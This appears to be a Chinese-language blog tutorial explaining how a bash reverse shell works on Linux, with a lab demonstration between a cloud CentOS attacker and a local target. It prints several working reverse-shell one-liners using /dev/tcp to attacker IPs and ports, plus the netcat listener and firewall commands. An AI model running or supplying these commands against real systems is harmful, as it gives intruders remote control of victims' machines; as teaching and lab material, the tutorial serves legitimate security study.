Linux下反弹shell的原理

本文详细介绍了Linux下反弹shell的原理,通过bash-i>&/dev/tcp/攻击端IP/攻击端监听端口0>&1命令实现交互式shell的建立。文章还展示了如何在公网和本地环境中利用bash命令进行shell反弹,包括靶机和攻击机的配置与操作。通过实例演示了在Centos服务器上的操作,强调了防火墙配置、nc监听及文件描述符在反弹shell中的作用。
摘要由CSDN通过智能技术生成

Linux下反弹shell的原理-bash

shell是一种脚本语言,需要用解释器来解析这些脚本,常见的脚本解释器有:

bash-Linux标准默认的shell

sh-Unix标准默认的shell

shell是Linux的外壳,为用户和内核之间的交互提供了一个接口

反弹shell就是控制端监听在某TCP端口,别控端发起请求到该端口,并将其命令行的输入输出转到控制端

bash建立反弹shell

bash -i >& /dev/tcp/攻击端IP/攻击端监听端口 0>&1

bash -i >& /dev/tcp/101.43.119.212/12306 0>&1

  • 参数i用于打开交互式的shell > 输出重定向 &用于区分文件和文件描述符

>&+数字表示后面的数字是文件描述符,不加&会把后面的数字当成文件

>&+文件表示将标准输出重定向至文件

  • 文件描述符:0–标准输入重定向 1–标准输出重定向 2–标准错误输出重定向
  • /dev目录下的tcp、udp是Linux中的特殊设备可用于建立网络链接,读写这两个文件,就相当于在网络链接中传输数据
  • >& /dev/tcp/攻击端IP/攻击端监听端口 表示将标准输出和标准错误输出重定向到攻击机(这时目标机的执行结果可以从攻击机看到)
  • 0>&1 将标准输入重定向到标准输出-攻击机,从而可以通过攻击机输入命令

/dev/tcp/ip/port是一个特殊的文件,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的。但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信

公网攻击机反弹本地shell

本地反弹shell尝试:

  1. 攻击机:云端Centos服务器(公网IP:101.43.119.212:2002) 靶机:本地Centos服务器(192.168.182.134)

反弹shell过程:攻击机开启nc监听端口,靶机执行bash命令

攻击机主机端口开启2002监听从靶机bash进行shell反弹的内容

首先服务器放行2002端口用于监听
在这里插入图片描述

firewall-cmd --zone=public --add-port=2002/tcp --permanent
firewall-cmd --reload
nc -n -lvvp 2002

放行成功后开启监听

在这里插入图片描述

同时本地Centos靶机输入:

bash -i >& /dev/tcp/101.43.119.212/2002 0>&1

或者

bash -i > /dev/tcp/81.X.X.X/5432 0>&1 2>&1

若报错显示不存在该目录或者文件夹可以通过touch /dev/tcp创建

靶机运行
在这里插入图片描述

链接成功

在这里插入图片描述

输入命令进行执行:

在这里插入图片描述

反弹shell成功

本地攻击机反弹本地shell

攻击机:Windows netcat(192.168.43.200) 靶机:Centos(192.168.182.134)

操作同上
在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值